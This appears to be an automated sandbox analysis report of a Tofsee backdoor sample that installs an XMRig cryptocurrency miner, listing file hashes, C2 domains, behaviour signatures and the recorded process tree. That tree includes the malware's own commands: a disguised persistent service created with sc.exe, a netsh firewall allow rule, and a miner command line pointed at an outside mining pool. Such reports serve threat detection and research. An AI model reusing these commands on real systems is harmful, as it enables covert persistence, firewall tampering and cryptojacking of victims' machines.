Analysis

  • max time kernel
    129s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20230621-en
  • resource tags

    arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system
  • submitted
    01-07-2023 16:44

General

  • Target

    file.exe

  • Size

    232KB

  • MD5

    f18c94e7d8c0eb55ca27f0389b48027b

  • SHA1

    322a633c51d48858e580955380cbe96f29840ce4

  • SHA256

    8121b07538fee52be986b858770edf3ba65724d1bc778fee35f0f3ca821c42b0

  • SHA512

    13c195bddc24805abb45e684b9b9b6e57aaf9880abd00b2e5b8c5e86c4b531c75d0235d4b624b2d0d88b095a2733485c551e9333ac65f6ed8a714260b9497da5

  • SSDEEP

    3072:bZVhxIRRf0ZOYyw6HxrYkxdHHDS5BBetfzahPTVro:dncRfkO1lHR9HHCBet7gPTV

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1272
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vtzvpzsm\
      2⤵
        PID:1928
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ipwzocvf.exe" C:\Windows\SysWOW64\vtzvpzsm\
        2⤵
          PID:544
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vtzvpzsm binPath= "C:\Windows\SysWOW64\vtzvpzsm\ipwzocvf.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:692
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vtzvpzsm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:852
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vtzvpzsm
          2⤵
          • Launches sc.exe
          PID:1680
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1140
      • C:\Windows\SysWOW64\vtzvpzsm\ipwzocvf.exe
        C:\Windows\SysWOW64\vtzvpzsm\ipwzocvf.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1392
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:552
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:464

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ipwzocvf.exe

        Filesize

        11.4MB

        MD5

        9f06edd8ef538a7623ff26162ee4288f

        SHA1

        5e6bb12d2fe2aca76f32f909486f93d6302bd308

        SHA256

        b541ba300a42b0e28bcd3f77923c92f162ab98f0be6a032d2565f7396f2126f3

        SHA512

        20fa3bd8e6b5225a573a8edc68a3de0de09eac110463793ba9578f8bf555642fd16f13228bfdaf0bfdf5dfb6bcae2e53ad22baf38a0b5eed3a102f761c74e884

      • C:\Windows\SysWOW64\vtzvpzsm\ipwzocvf.exe

        Filesize

        11.4MB

        MD5

        9f06edd8ef538a7623ff26162ee4288f

        SHA1

        5e6bb12d2fe2aca76f32f909486f93d6302bd308

        SHA256

        b541ba300a42b0e28bcd3f77923c92f162ab98f0be6a032d2565f7396f2126f3

        SHA512

        20fa3bd8e6b5225a573a8edc68a3de0de09eac110463793ba9578f8bf555642fd16f13228bfdaf0bfdf5dfb6bcae2e53ad22baf38a0b5eed3a102f761c74e884

      • memory/464-111-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/464-122-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/464-124-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/464-123-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/464-121-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/464-120-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/464-119-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/464-112-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/552-89-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-94-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-74-0x0000000001930000-0x0000000001B3F000-memory.dmp

        Filesize

        2.1MB

      • memory/552-75-0x0000000000100000-0x0000000000106000-memory.dmp

        Filesize

        24KB

      • memory/552-78-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-82-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-81-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-83-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-84-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-85-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-86-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-87-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/552-88-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-90-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-91-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-92-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-71-0x0000000001930000-0x0000000001B3F000-memory.dmp

        Filesize

        2.1MB

      • memory/552-93-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-95-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-97-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-96-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/552-98-0x0000000000210000-0x0000000000215000-memory.dmp

        Filesize

        20KB

      • memory/552-101-0x0000000000210000-0x0000000000215000-memory.dmp

        Filesize

        20KB

      • memory/552-102-0x00000000058B0000-0x0000000005CBB000-memory.dmp

        Filesize

        4.0MB

      • memory/552-105-0x00000000058B0000-0x0000000005CBB000-memory.dmp

        Filesize

        4.0MB

      • memory/552-106-0x00000000003F0000-0x00000000003F7000-memory.dmp

        Filesize

        28KB

      • memory/552-110-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/552-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/552-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/552-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/552-63-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/552-61-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1272-56-0x00000000002A0000-0x00000000002B3000-memory.dmp

        Filesize

        76KB

      • memory/1272-60-0x0000000000400000-0x000000000047C000-memory.dmp

        Filesize

        496KB

      • memory/1392-65-0x0000000000400000-0x000000000047C000-memory.dmp

        Filesize

        496KB